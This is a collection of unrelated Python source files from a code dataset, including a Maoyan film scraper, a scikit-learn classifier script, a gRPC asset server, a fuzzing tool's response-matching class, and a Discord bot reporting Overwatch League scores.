plt.ylabel(\"True Label\")\n plt.xlabel(\"Predicted Label\")\n if save:\n plt.savefig(\"confusion_matrix-{}.png\".format(name), bbox_inches='tight')\n else:\n plt.show()\n","sub_path":"1DCNN_John/data_util/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"51211290","text":"#-*-coding:utf8-*-\\\nimport re\nimport os\nimport requests\nimport pymysql\nfrom fontTools.ttLib import TTFont\nfrom lxml import etree\n\nclass spider:\n def __init__(self,myheaders):\n self.myheaders = myheaders\n self.faildid = []\n print('开始爬取嘀嘀嘀')\n\n def returnpage(self): #返回一个url列表\n first_url = 'https://maoyan.com/films?showType=3&sourceId=2&yearId=10&offset=0' #15年国产电影第一页\n total_page = [45,67,57,47,22] #2015年至2019年国产电影在猫眼电影上显示的页数\n url_group = [] #url列表\n for j in range(0,5):\n each_url = re.sub('yearId=\\d+&offset', 'yearId=%s&offset' % (10+j), first_url, re.S)\n for i in range(0,total_page[j]):\n each_url = re.sub('offset=\\d+','offset=%s'%(30*i),each_url,re.S)\n url_group.append(each_url)\n return url_group\n\n def getid(self,url): #返回一个url的所有id组成的列表\n print('开始爬取'+url)\n html = requests.get(url, headers=self.myheaders).text\n id_group = re.findall('\"{movieid:(.*?)}\">', html, re.S)\n return id_group\n\n def code2num(self,HexNum,woffFileName): #猫眼上的数字如评分,票房都经过了加密处理,这一步将爬到的编码转换成对应的数字\n HexNum = 'uni'+HexNum.upper()\n base_num = dict() # 编号—数字\n base_obj = dict() # 编号—对象\n base_num[\"uniF444\"] = \"0\"\n base_num[\"uniF852\"] = \"1\"\n base_num[\"uniE254\"] = \"2\"\n base_num[\"uniE0A2\"] = \"3\"\n base_num[\"uniF1F3\"] = \"4\"\n base_num[\"uniF3BD\"] = \"5\"\n base_num[\"uniEDBB\"] = \"6\"\n base_num[\"uniE2EC\"] = \"7\"\n base_num[\"uniEFFF\"] = \"8\"\n base_num[\"uniE762\"] = \"9\"\n BaseFontfile = TTFont('woff\\\\base.woff')\n try:\n for key in base_num:\n base_obj[key] = BaseFontfile['glyf'][key]\n fontFile = TTFont(woffFileName)\n obj = fontFile['glyf'][HexNum]\n for key in base_obj: # 遍历找到相同的字体对象\n if obj == base_obj[key]:\n return base_num[key]\n except:\n return '0'\n\n\n def geteachmvinfo(self,id): #返回一个id所对应电影的所有信息的字典\n #电影id、电影名称、演员信息、上映时间、用户评分、评论人数、累计票房等\n info = {}\n try:\n mvurl = 'https://maoyan.com/films/' + id\n mvhtml = requests.get(mvurl, headers=self.myheaders).text\n selector = etree.HTML(mvhtml)\n info['id'] = id\n try:\n info['name'] = selector.xpath('/html/body/div[3]/div/div[2]/div[1]/h3/text()')[0]\n except IndexError:\n info['name'] = '暂无信息'\n\n try:\n actorspart = re.search('演员\\n (.*?)\\n', mvhtml, re.S).group(1)\n actors = re.findall('target=\"_blank\" class=\"name\">\\n (.*?)\\n', actorspart, re.S)\n info['cast']=''\n for actor in actors:\n info['cast'] = info['cast']+actor+','\n info['cast'] = info['cast'][:-1]\n except AttributeError:\n info['cast'] = ['未知']\n\n try:\n info['time'] = selector.xpath('/html/body/div[3]/div/div[2]/div[1]/ul/li[3]/text()')[0]\n except IndexError:\n info['time'] = '未知'\n\n woff_url = 'http://vfile' + re.search(\"vfile(.*?)woff\",mvhtml).group(1) + 'woff' #下载.woff文件\n local_name = 'woff\\\\' + os.path.basename(woff_url)\n if not os.path.exists(local_name): #可能会有一样的woff就不用下载了\n with open(local_name, 'wb+') as f:\n f.write(requests.get(woff_url).content)\n\n try:\n scorepart = re.search('

    用户评分

    (.*?)', mvhtml, re.S).group(1)\n number_in_score = re.findall('&#x(.*?);', scorepart, re.S)\n info['score'] = self.code2num(number_in_score[0],local_name)+'.'+self.code2num(number_in_score[1],local_name)\n person_time = re.search('(.*?)人评分', mvhtml).group(1)\n number_in_person_time = re.findall('&#x(.*?);', person_time, re.S)\n for x in number_in_person_time:\n person_time = person_time.replace('&#x'+x+';',self.code2num(x,local_name))\n info['person_time'] = person_time\n except:\n info['score'] = '暂无评分'\n info['person_time'] = '0'\n\n moneypart = re.search('

    累计票房

    (.*?)', mvhtml, re.S).group(1)\n try:\n money1 = re.findall('(.*?)(.*?)', moneypart).group(1)\n info['box_office'] = money1+money2\n except IndexError:\n info['box_office'] = '暂无票房数据'\n\n comment = re.findall('
    (.*?)
    ',mvhtml)\n if comment:\n info['comment'] = ''\n for c in comment:\n info['comment'] = info['comment']+c+'\\n'\n info['comment'] = info['comment'][:-1]\n else:\n info['comment'] = '暂无'\n\n\n\n except AttributeError:\n self.faildid.append(id)\n print('faild:'+id)\n return info\n\n\nmyheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36'}\nmyspider = spider(myheaders)\nconn = pymysql.connect(host='127.0.0.1',port=3306,user='root',passwd='123',db='bigdata',charset = 'utf8mb4',use_unicode = False)\ncur = conn.cursor()\ncreate_table = '''create table maoyan(\n\tid char(16),\n\tname varchar(100),\n\tcast varchar(300),\n\ttime varchar(40),\n\tscore varchar(20),\n\tperson_time varchar(20),\n\tbox_office varchar(20),\n\tcomment longtext\n);'''\ncur.execute(create_table)\n\nmy_url_group = myspider.returnpage()\nfor each_url in my_url_group:\n id_group = myspider.getid(each_url)\n for id in id_group:\n each = myspider.geteachmvinfo(id)\n print(each)\n add_table= '''insert into maoyan VALUES (%s,%s,%s,%s,%s,%s,%s,%s);'''\n cur.execute(add_table, (each['id'],each['name'],each['cast'],each['time'],each['score'],each['person_time'],each['box_office'],each['comment']))\n conn.commit()\ncur.close()\nconn.close()\n","sub_path":"maoyan.py","file_name":"maoyan.py","file_ext":"py","file_size_in_byte":6875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"511343178","text":"# -*- coding:utf-8 -*-\n\"\"\"\n全局参数文件\n\"\"\"\nimport logging\nimport logging.config\nfrom sqlalchemy import create_engine\nimport yaml\n\n\nlogging.config.dictConfig(yaml.load(open(\"logging.yaml\")))\nlogger = logging.getLogger(\"load_data_log\")\n\n#调度程序使用的数据库连接\nbackend_db = create_engine(\"postgresql+psycopg2://etlflow:etlflow@localhost:5432/postgres\",\n strategy='threadlocal')\n#数据下传平台数据所在的目录\ndcds_path = \"d:/data/\"\n#是否处于调试模式 调试模式下,程序运行时不实际进行数据的装载,只是测试调度是否正常\ndebug_mode = True\n#装载数据时的最大线程数\nloaddata_thread = 3\n#批量任务执行时使用的数据库连接,和dpc_proc_job中的配置匹配\ngp_etlflow_db = create_engine(\"postgresql+psycopg2://etlflow:etlflow@localhost:5432/postgres\",\n strategy='threadlocal')\nproc_db = {\"gp_etlflow_db\":gp_etlflow_db}\n ","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"78925489","text":"from __future__ import print_function\n\nimport logging\nimport numpy as np\nfrom optparse import OptionParser\nimport sys\nfrom time import time\nimport matplotlib.pyplot as plt\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.naive_bayes import BernoulliNB, MultinomialNB\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.cross_validation import KFold\nfrom sklearn.cross_validation import cross_val_score\n\ntrain_fname = '255data/pr1/train.dat'\n\ntrain_labels = []\ntrain_texts = []\n\nwith open(train_fname) as myf:\n lines = myf.readlines()\n for line in lines:\n train_labels.append(line[0])\n train_texts.append(line[2:])\n\n\ny_train = np.array(train_labels, int)\n\n\ndef size_mb(docs):\n return sum(len(s.encode('utf-8')) for s in docs) / 1e6\n\n\ndata_train_size_mb = size_mb(train_texts)\n\nprint(\"Extracting features from the training data using a sparse vectorizer\")\nt0 = time()\nvectorizer = TfidfVectorizer(\n sublinear_tf=True, max_df=0.5, stop_words='english')\nX_train = vectorizer.fit_transform(train_texts)\nduration = time() - t0\nprint(\"done in %fs at %0.3fMB/s\" % (duration, data_train_size_mb / duration))\nprint(\"n_samples: %d, n_features: %d\" % X_train.shape)\nprint()\n\nbest_score = 0\n\n\ndef crsval(clf, X, y, nfld=10):\n print(clf)\n t0 = time()\n kf = KFold(X.shape[0], n_folds=nfld, shuffle=True)\n score = cross_val_score(clf, X, y, cv=kf, scoring='f1_macro')\n ave_score = np.mean(score)\n print(\"cross validation score is {}\".format(ave_score))\n print(\"cross validation time is {:.3f}s\".format(time() - t0))\n return ave_score\n\n\nscores = np.zeros(100)\n\nprint(\"kNN\")\nfor i in range(40, 42):\n knnclf = KNeighborsClassifier(n_neighbors=i)\n score = crsval(knnclf, X_train, y_train)\n scores[i-1] = score\n if(score > best_score):\n best_score = score\n best_clf = knnclf\n\n# print(\"Naive Bayes\")\n# idx = 0\n# for i in [0.01, 0.1, 1, 10]:\n# nbclf = MultinomialNB(alpha=i)\n# score = crsval(nbclf, X_train, y_train)\n# scores[idx] = score\n# idx += 1\n# if(score > best_score):\n# best_score = score\n# best_clf = nbclf\n# nbclf = BernoulliNB(alpha=i)\n# score = crsval(nbclf, X_train, y_train)\n# scores[idx] = score\n# idx += 1\n# if(score > best_score):\n# best_score = score\n# best_clf = nbclf\n\nprint(scores)\n\n# np.savez_compressed(\"ave_crs_score.npz\", ave_crs_score=scores)\n# np.savez_compressed(\"ave_crs_score_nb.npz\", ave_crs_score=scores)\n\nprint(\"The best choice is:\")\nprint(best_clf)\nprint(\"10 fold cross validation score = {:.3f}\".format(best_score))\n","sub_path":"DataMining/pr1-2.py","file_name":"pr1-2.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"233472256","text":"def csvFormat(value):\n csv_record = '\"' + str(value).replace('\"', '\"\"') + '\",'\n return csv_record\n\n# recursive dict get\ndef dictFind(data, keys):\n try:\n for key in keys:\n data = data[key]\n except KeyError:\n return \"\"\n return data\n\ndef activity_to_csv(results, a, devInfo, activity_type_info, event_type_info):\n empty_record = '\"\",'\n csv_record = ''\n # Activity ID\n activityId = str(a['activityId'])\n csv_record += csvFormat(activityId)\n # Activity Name\n csv_record += csvFormat(dictFind(results, ['activityName', ]))\n # Description\n csv_record += csvFormat(dictFind(results, ['description', ]))\n # Begin Timestamp\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'startTimeLocal', ]))\n\n # Begin Timestamp (Raw Milliseconds)\n csv_record += empty_record\n\n # End Timestamp\n csv_record += empty_record\n\n # End Timestamp (Raw Milliseconds)\n csv_record += empty_record\n\n # Device\n deviceId = dictFind(a, ['deviceId', ])\n csv_record += csvFormat(devInfo.displayName(deviceId))\n\n # Activity Parent\n parentTypeId = dictFind(a, ['activityType', 'parentTypeId',])\n csv_record += csvFormat(dictFind(activity_type_info, [parentTypeId, 'type', ]))\n # Activity Type\n typeId = dictFind(a, ['activityType', 'typeId',])\n csv_record += csvFormat(dictFind(activity_type_info, [typeId, 'type', ]))\n\n # Event Type\n typeId = dictFind(a, ['eventType', 'typeId',])\n csv_record += csvFormat(dictFind(event_type_info, [typeId, 'type', ]))\n # Activity Time Zone\n csv_record += csvFormat(dictFind(results, ['timeZoneUnitDTO', 'timeZone' ]))\n\n # Max. Elevation\n csv_record += empty_record\n # Max. Elevation (Raw)\n # (was in feet previously, now appears to be meters)\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'maxElevation', ]))\n\n # {start, end} X {latitude, longitude}\n # Begin Latitude (Decimal Degrees Raw)\n # Begin Longitude (Decimal Degrees Raw)\n # End Latitude (Decimal Degrees Raw)\n # End Longitude (Decimal Degrees Raw)\n for key in ['startLatitude', 'startLongitude', 'endLatitude', 'endLongitude']:\n csv_record += csvFormat(dictFind(results, ['summaryDTO', key, ]))\n\n # Average Moving Speed\n csv_record += empty_record\n\n # Average Moving Speed (Raw)\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'averageMovingSpeed', ]))\n\n # Max. Heart Rate (bpm)\n csv_record += empty_record\n # Average Heart Rate (bpm)\n csv_record += empty_record\n\n # Max. Speed\n csv_record += empty_record\n # Max. Speed (Raw)\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'maxSpeed', ]))\n\n # Calories\n csv_record += empty_record\n # Calories (Raw)\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'calories', ]))\n\n # Duration (h:m:s)\n csv_record += empty_record\n # Duration (Raw Seconds)\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'elapsedDuration', ]))\n # Moving Duration (h:m:s)\n csv_record += empty_record\n # Moving Duration (Raw Seconds),\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'movingDuration', ]))\n # Average Speed\n csv_record += empty_record\n # Average Speed (Raw)\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'averageSpeed', ]))\n # Distance\n csv_record += empty_record\n # distance.value\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'distance', ]))\n\n # Max. Heart Rate (bpm)\n csv_record += empty_record\n\n # Min. Elevation\n csv_record += empty_record\n # Min. Elevation (Raw)\n csv_record += csvFormat(dictFind(results, ['summaryDTO', 'minElevation', ]))\n\n # Elevation Gain\n csv_record += empty_record\n # Elevation Gain (Raw)\n csv_record += empty_record\n # Elevation Loss\n csv_record += empty_record\n # Elevation Loss (Raw)\n csv_record += empty_record\n\n # remove any trailing commas - R read.csv doesn't like them.\n csv_record = csv_record.rstrip(',')\n\n csv_record += '\\n'\n\n return csv_record\n\n\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"142137966","text":"#!/usr/bin/env python\n\nimport time\nimport logging\nfrom concurrent import futures\n\nimport grpc\nfrom grpc_ssm import opac_pb2\n\nfrom celery.result import AsyncResult\n\nfrom assets_manager import tasks\nfrom assets_manager import models\n\nlogger = logging.getLogger(__name__)\n\nclass Asset(opac_pb2.AssetServiceServicer):\n\n def add_asset(self, request, context):\n \"\"\"\n Return an Asset object\n \"\"\"\n task_result = tasks.add_asset.delay(request.file, request.filename,\n request.type, request.metadata)\n\n return opac_pb2.TaskId(id=task_result.id)\n\n def get_task_state(self, request, context):\n \"\"\"\n Return an Asset state\n \"\"\"\n res = AsyncResult(request.id)\n\n return opac_pb2.TaskState(state=res.state)\n\n def get_asset_info(self, request, context):\n \"\"\"\n Return an Asset info\n \"\"\"\n try:\n asset = models.Asset.objects.get(task_id=request.id)\n except models.Asset.DoesNotExist as e:\n logger.error(e)\n raise\n else:\n return opac_pb2.AssetInfo(url=asset.get_full_absolute_url,\n url_path=asset.get_absolute_url)\n\n def get_asset(self, request, context):\n \"\"\"\n Return an Asset\n \"\"\"\n try:\n asset = models.Asset.objects.get(task_id=request.id)\n except models.Asset.DoesNotExist as e:\n logger.error(e)\n raise\n else:\n\n try:\n fp = open(asset.file.path, 'rb')\n except IOError as e:\n logger.error(e)\n raise\n\n return opac_pb2.Asset(file=fp.read(), filename=asset.filename,\n type=asset.type, metadata=asset.metadata,\n task_id=str(asset.task_id))\n\n\ndef serve(host='[::]', port=5000, max_workers=4):\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=max_workers))\n opac_pb2.add_AssetServiceServicer_to_server(Asset(), server)\n server.add_insecure_port('{0}:{1}'.format(host, port))\n server.start()\n\n print('Started GRPC server on localhost, port: {0}, accept connections!'.format(port))\n\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n server.stop(0)\n\nif __name__ == '__main__':\n serve()\n","sub_path":"grpc_ssm/grpc_server.py","file_name":"grpc_server.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"157359783","text":"# -*- coding: utf-8 -*-\n\"\"\"pyahp.methods.approximate\n\nThis module contains the class implementing the geometric priority estimation method.\n\"\"\"\n\nimport numpy as np\nimport numpy.linalg as LA\n\nfrom pyahp.methods import Method\n\n\ndef eig(A, initvec=None, tol=0.0001, iteration=16):\n '''Calculate the dominant eigenvalue of A with power method.\n\n The Power Method is a classical method to calculate the single eigenvalue with maximal abstract value, \n i.e. |lambda_1| > |lambda2| >= |lambda_i|, where lambdai are eigenvalues, in numerical analysis.\n The speed of convergence is dominated by |lambda2|/|lambda1|.\n\n Perron theorem guarantees that lambda_1>|lambda_i| for any positive matrix.\n see https://en.wikipedia.org/wiki/Power_iteration for more details.\n \n Arguments:\n A {2D-array} -- square matrix\n \n Keyword Arguments:\n initvec {1D-array} -- [initial vector] (default: {None})\n tol {number} -- [tolerance] (default: {0.0001})\n iteration {number} -- [iteration] (default: {16})\n \n Returns:\n dominant eigenvalue, eigenvector {1D-array}\n\n Example:\n >>> A = np.array([[1,2,6],[1/2,1,4],[1/6,1/4,1]])\n >>> lmd, v = eig(A)\n >>> lmd\n 3.0090068360243256\n >>> v\n [1. 0.5503254 0.15142866]\n '''\n\n m, n = A.shape\n u0 = initvec or np.random.random(n)\n for _ in range(iteration):\n v0 = u0\n v1 = np.dot(A, v0)\n ind = np.argmax(abs(v1))\n mu = v1[ind]\n u0 = v1 / mu\n if LA.norm(v0 - u0)/np.max((1, LA.norm(u0))) < tol:\n return mu, u0\n raise Exception('The iteration does not reach the tolerance after %d iterations.'%iteration)\n\n\nclass PowerMethod(Method):\n \"\"\"Power priority estimation method\n \"\"\"\n\n def estimate(self, preference_matrix):\n super()._check_matrix(preference_matrix)\n\n _, vec = eig(preference_matrix)\n\n return vec / np.sum(vec)\n","sub_path":"pyahp/methods/power.py","file_name":"power.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"35655144","text":"# Copyright (c) 2020 - present Vitor Oriel \n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom .Result import Result\nfrom ..utils.utils import splitStrToList\n\nfrom typing import List, Dict, Tuple, Callable\n\nclass Matcher:\n \"\"\"Class to handle with the match validations\n\n Attributes:\n comparator: The dictionary with the default entries to be compared with the current request\n allowedStatus: The dictionary with the allowed status codes (and range)\n \"\"\"\n @staticmethod\n def buildAllowedStatus(allowedStatus: str) -> dict:\n \"\"\"Build the matcher attribute for allowed status\n\n @type allowedStatus: str\n @param allowedStatus: The allowed status codes to match results\n @returns dict: The allowed status code, list and range, parsed into a dict\n \"\"\"\n def getAllowedStatus(\n status: str,\n allowedList: List[int],\n allowedRange: List[int]\n ) -> None:\n \"\"\"Get the allowed status code list and range\n\n @type status: str\n @param status: The status cod given in the terminal\n @type allowedList: List[int]\n @param allowedList: The allowed status codes list\n @type allowedRange: List[int]\n @param allowedRange: The range of allowed status codes\n \"\"\"\n try:\n if '-' not in status:\n allowedList.append(int(status))\n else:\n codeLeft, codeRight = (int(code) for code in status.split('-', 1))\n if codeRight < codeLeft:\n codeLeft, codeRight = codeRight, codeLeft\n allowedRange[:] = [codeLeft, codeRight]\n except:\n raise Exception(f\"The match status argument ({status}) must be integer\")\n\n if not allowedStatus:\n isDefault = True\n allowedList = [200]\n else:\n isDefault = False\n allowedList = []\n allowedRange = []\n for status in splitStrToList(allowedStatus):\n getAllowedStatus(status, allowedList, allowedRange)\n return {\n 'IsDefault': isDefault,\n 'List': allowedList,\n 'Range': allowedRange,\n }\n\n @staticmethod\n def buildComparator(length: str, time: str) -> dict:\n \"\"\"Build the matcher attribute for data comparator\n\n @type length: str\n @param length: The length attribute for match results\n @type time: str\n @param time: The time attribute for match results\n @returns dict: The data comparators parsed into a dict\n \"\"\"\n return {\n 'Length': None if not length else length,\n 'Time': None if not time else time,\n }\n\n def __init__(self,\n allowedStatus: dict = {\n 'IsDefault': True,\n 'List': [200],\n 'Range': [],\n },\n comparator: dict = {\n 'Length': None,\n 'Time': None,\n },\n matchFunctions: Tuple[Callable, Callable] = None\n ):\n \"\"\"Class constructor\n\n @type allowedStatus: dict\n @param allowedStatus: The allowed status dictionary\n @type comparator: dict\n @param comparator: The dict with comparator data\n @type matchFunctions: Tuple[Callable, Callable]\n @param matchFunctions: The callback functions for the match comparator\n \"\"\"\n self._allowedStatus = allowedStatus\n if matchFunctions:\n self._comparator = comparator\n self._matchLength, self._matchTime = matchFunctions\n else:\n self.setComparator(comparator)\n\n @classmethod\n def fromString(cls, allowedStatus: str, length: str, time: str) -> object:\n \"\"\"Creates a Matcher object com strings\n\n @type allowedStatus: str\n @param allowedStatus: The allowed status codes\n @type length: str\n @param length: The length to be compared with the response body\n @type time: str\n @param time: The time to be compared with the RTT\n @returns Matcher: A Matcher object\n \"\"\"\n return cls(\n Matcher.buildAllowedStatus(allowedStatus),\n Matcher.buildComparator(length, time)\n )\n\n def getAllowedStatus(self) -> dict:\n \"\"\"The allowed status getter\n\n @returns dict: The allowed status dict\n \"\"\"\n return self._allowedStatus\n \n def getComparator(self) -> dict:\n \"\"\"The data comparator getter\n\n @returns dict: The data comparator dict\n \"\"\"\n return self._comparator\n \n def getMatchFunctions(self) -> Tuple[Callable, Callable]:\n \"\"\"Gets the match functions\n\n @returns Tuple[Callable, Callable]: The match functions\n \"\"\"\n return (self._matchLength, self._matchTime)\n\n def allowedStatusIsDefault(self) -> bool:\n \"\"\"Check if the allowed status is set as default config\n\n @returns bool: If the allowed status is the default or not\n \"\"\"\n return self._allowedStatus['IsDefault']\n\n def comparatorIsSet(self) -> bool:\n \"\"\"Check if any of the comparators are seted\n\n @returns bool: if any of the comparators are seted returns True, else False\n \"\"\"\n return self._comparator['Length'] or self._comparator['Time']\n\n def setAllowedStatus(self, allowedStatus: dict) -> None:\n \"\"\"The allowed status setter\n\n @type allowedStatus: dict\n @param allowedStatus: The allowed status dictionary\n \"\"\"\n self._allowedStatus = allowedStatus\n\n def setComparator(self, comparator: dict) -> None:\n \"\"\"The comparator setter\n\n @type comparator: dict\n @param comparator: The comparator dictionary\n \"\"\"\n\n def getComparatorAndCallback(comparator: str, key: str) -> Tuple[str, Callable]:\n \"\"\"Gets the comparator and callback\n\n @type comparator: str\n @param comparator: The value to be compared\n @type key: str\n @param key: Where it'll be compared (Length or Time)\n @returns Tuple[str, Callable]: The comparator and match callback\n \"\"\"\n def setMatch(match: Dict[str, Callable], comparator: str) -> Tuple[Callable, str]:\n \"\"\"Set the match function and new comparator value\n\n @type match: Dict[str, Callable]\n @param match: The dictionary with available comparations\n @type comparator: str\n @param comparator: The value to be compared\n @returns Tuple[Callable, str]: The callback match function, and the new comparator value\n \"\"\"\n comparator = str(comparator)\n for key, value in match.items():\n if key in comparator:\n return (value, comparator.split(key, 1)[1])\n raise IndexError\n\n matchDict = {\n '>=': lambda toCompare: toCompare >= self._comparator[key],\n '<=': lambda toCompare: toCompare <= self._comparator[key],\n '>': lambda toCompare: toCompare > self._comparator[key],\n '<': lambda toCompare: toCompare < self._comparator[key],\n '==': lambda toCompare: toCompare == self._comparator[key],\n '!=': lambda toCompare: toCompare != self._comparator[key],\n }\n try:\n matchCallback, comparator = setMatch(matchDict, comparator)\n except IndexError:\n matchCallback = lambda toCompare: self._comparator[key] < toCompare\n return (comparator, matchCallback)\n\n if comparator['Length']:\n lengthComparator, self._matchLength = getComparatorAndCallback(comparator['Length'], 'Length')\n try:\n lengthComparator = int(lengthComparator)\n except:\n raise Exception(f\"The length comparator must be an integer, not '{lengthComparator}'!\")\n comparator['Length'] = lengthComparator\n if comparator['Time']:\n timeComparator, self._matchTime = getComparatorAndCallback(comparator['Time'], 'Time')\n try:\n timeComparator = float(timeComparator)\n except:\n raise Exception(f\"The time comparator must be a number, not '{timeComparator}'!\")\n comparator['Time'] = timeComparator\n self._comparator = comparator\n\n def match(self, result: Result) -> bool:\n \"\"\"Check if the request content has some predefined characteristics based on a payload, it'll be considered as vulnerable\n \n @type result: Result\n @param result: The actual result object\n @returns bool: A match flag\n \"\"\"\n if self._matchStatus(result.status):\n if not self._comparator['Length'] is None:\n return self._matchLength(int(result.length))\n if not self._comparator['Time'] is None:\n return self._matchTime(result.RTT)\n return True\n return False\n \n def _matchStatus(self, status: int) -> bool:\n \"\"\"Check if the result status match with the allowed status dict\n\n @type status: int\n @param status: The result status code\n @returns bool: if match returns True else False\n \"\"\"\n return (status in self._allowedStatus['List']\n or (self._allowedStatus['Range']\n and (self._allowedStatus['Range'][0] <= status\n and status <= self._allowedStatus['Range'][1])))\n \n def _matchLength(self, length: int) -> bool:\n \"\"\"Check if the result length match with the comparator dict\n\n @type length: int\n @param length: The result length\n @returns bool: if match returns True else False\n \"\"\"\n pass\n \n def _matchTime(self, time: float) -> bool:\n \"\"\"Check if the result time match with the comparator dict\n\n @type time: int\n @param time: The result time\n @returns bool: if match returns True else False\n \"\"\"\n pass","sub_path":"src/fuzzingtool/core/Matcher.py","file_name":"Matcher.py","file_ext":"py","file_size_in_byte":11199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"523767994","text":"import discord\nfrom discord.ext import commands\nimport asyncio\nimport sys\nimport io\nimport datetime\nimport os\nimport json\nimport requests\nimport time\n\ndef get_prefix(bot, message):\n '''A callable Prefix for our bot. This could be edited to allow per server prefixes.'''\n prefix = '!'\n if (not message.guild): #Check to see if we are outside of a guild. e.g DM's etc.\n return '!' #Only allow ! to be used in DMs\n return commands.when_mentioned_or(prefix)(bot, message)\n\ndescription = 'Phil Swift here to tell you about Flex Tape!'\nstartup_extensions = ['modules.Misc', #Default extensions (all enabled)\n 'modules.OWL',\n 'modules.Osu',\n 'modules.FlexSeal',\n 'modules.Weather',\n 'modules.Emotes'\n #continued\n ]\ntokens = json.load(open(\"tokens.json\"))\nbot = commands.Bot(command_prefix=get_prefix, description=description)\nbot.remove_command('help')\n\n@bot.event\nasync def on_ready():\n print('**______----------------------------STARTING----------------------------______**')\n print('Logged in as')\n print(bot.user.name)\n print(bot.user.id)\n print(\"**Date:** \" + str(datetime.datetime.now()))\n await bot.change_presence(activity=discord.Game(name='with Flex Tape'))\n \nasync def background_task():\n await bot.wait_until_ready()\n while (not bot.is_closed()):\n global logBuffer\n global errBuffer\n toChannel=bot.get_channel(497193723621277751)\n toSend = logBuffer.getvalue()\n toSend2 = errBuffer.getvalue()\n logBuffer.close()\n errBuffer.close()\n sys.stdout = logBuffer = io.StringIO()\n sys.stderr = errBuffer = io.StringIO()\n \n if toSend != \"\":\n await toChannel.send(toSend)\n if toSend2 != \"\":\n await toChannel.send(toSend2)\n await asyncio.sleep(1)\n\nasync def gameVoice():\n await bot.wait_until_ready()\n channel1 = bot.get_channel(562013063931232272)\n channel2 = bot.get_channel(562013071304818693)\n while(not bot.is_closed()):\n url = 'https://api.overwatchleague.com/live-match'\n url_get = requests.get(url)\n data = url_get.json()\n try:\n team1 = data[\"data\"][\"liveMatch\"][\"competitors\"][0][\"abbreviatedName\"]\n team2 = data[\"data\"][\"liveMatch\"][\"competitors\"][1][\"abbreviatedName\"]\n except:\n team1 = data[\"data\"][\"liveMatch\"][\"competitors\"][0][\"name\"]\n team2 = data[\"data\"][\"liveMatch\"][\"competitors\"][1][\"name\"]\n score1 = str(data[\"data\"][\"liveMatch\"][\"scores\"][0][\"value\"])\n score2 = str(data[\"data\"][\"liveMatch\"][\"scores\"][1][\"value\"])\n if not(channel1.name == team1+\": \"+str(score1) and channel2.name == team2+\": \"+str(score2)):\n await channel1.edit(name=team1+\": \"+str(score1))\n await channel2.edit(name=team2+\": \"+str(score2))\n await asyncio.sleep(60)\n\n\nif __name__ == '__main__':\n for extension in startup_extensions:\n try:\n bot.load_extension(extension)\n except Exception as e:\n exc = '{}: {}'.format(type(e).__name__, e)\n print('Failed to load extension {}\\n{}'.format(extension, exc))\n sys.stdout = logBuffer = io.StringIO()\n sys.stderr = errBuffer = io.StringIO()\n bot.loop.create_task(background_task())\n bot.loop.create_task(gameVoice())\n bot.run(tokens[\"discord\"])","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"624663899","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom openpyxl import load_workbook\nimport locale\nimport re\nimport datetime\nfrom django.conf import settings\nfrom facturacion.models import *\nfrom facturacion.utility import safe_unicode\n\nfrom openpyxl import Workbook\nfrom openpyxl.compat import range\nfrom openpyxl.utils import get_column_letter\nfrom django.db.models import Sum\nfrom slugify import slugify\nfrom django.core.files import File\nimport os\nfrom fuzzywuzzy import fuzz\n\nclass 